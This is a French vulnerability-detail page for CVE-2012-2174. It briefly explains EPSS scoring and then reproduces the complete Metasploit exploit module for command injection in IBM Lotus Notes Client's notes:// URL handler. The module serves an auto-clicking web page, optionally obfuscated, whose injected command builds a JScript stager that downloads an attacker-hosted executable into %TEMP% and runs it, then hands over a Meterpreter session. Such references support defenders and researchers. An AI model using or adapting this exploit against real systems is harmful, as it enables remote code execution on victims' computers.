CVE-2012-2174 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "IBM Lotus Notes Client URL Handler Command Injection", 'Description' => %q{ This modules exploits a command injection vulnerability in the URL handler for for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with an specially crafted notes:// URL to execute arbitrary commands with also arbitrary arguments. This module has been tested successfully on Windows XP SP3 with IE8, Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Moritz Jodeit', # Vulnerability discovery 'Sean de Regge', # Vulnerability analysis 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2012-2174' ], [ 'OSVDB', '83063' ], [ 'BID', '54070' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ], [ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ] ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500 }, 'DefaultOptions' => { 'EXITFUNC' => "none", 'InitialAutoRunScript' => 'migrate -k -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Jun 18 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @exe_name = rand_text_alpha(2) + ".exe" @stage_name = rand_text_alpha(2) + ".js" super end def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin wintemp = session.fs.file.expand_path("%TEMP%") win_file = "#{wintemp}\\#{win_file}" # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the # read-only flag with a command. session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) print_good("Deleted #{file}") true rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to delete #{win_file}") false end end end end def on_request_uri(cli, request) if request.uri =~ /\.exe$/ return if ((p=regenerate_payload(cli))==nil) register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}") register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}") data = generate_payload_exe({:code=>p.encoded}) print_status("Sending payload") send_response(cli, data, {'Content-Type'=>'application/octet-stream'}) return end my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] if datastore['SSL'] schema = "https" else schema = "http" end uri = "#{schema}://#{my_host}" uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe" script = "var w=new ActiveXObject('wscript.shell');" script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');" script << "var x=new ActiveXObject('Microsoft.XMLHTTP');" script << "x.open('GET','#{uri}', false);" script << "x.send();" script << "var s=new ActiveXObject('ADODB.Stream');" script << "s.Mode=3;" script << "s.Type=1;" script << "s.Open();" script << "s.Write(x.responseBody);" script << "s.SaveToFile('#{@exe_name}',2);" script << "w.Run('#{@exe_name}');" vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM" link_id = rand_text_alpha(5 + rand(5)) js_click_link = %Q| function clickLink(link) { var cancelled = false; if (document.createEvent) { var event = document.createEvent("MouseEvents"); event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); cancelled = !link.dispatchEvent(event); } else if (link.fireEvent) { cancelled = !link.fireEvent("onclick"); } if (!cancelled) { window.location = link.href; } } | if datastore['OBFUSCATE'] js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link) js_click_link.obfuscate js_click_link_fn = js_click_link.sym('clickLink') else js_click_link_fn = 'clickLink' end html = <<-EOS <html> <head> <script> #{js_click_link} </script> </head> <body onload="#{js_click_link_fn}(document.getElementById('#{link_id}'));"> <a id="#{link_id}" href="notes://#{rand_text_alpha_upper(3+rand(3))}/#{rand_text_alpha_lower(3+rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}"></a> </body> </html> EOS print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end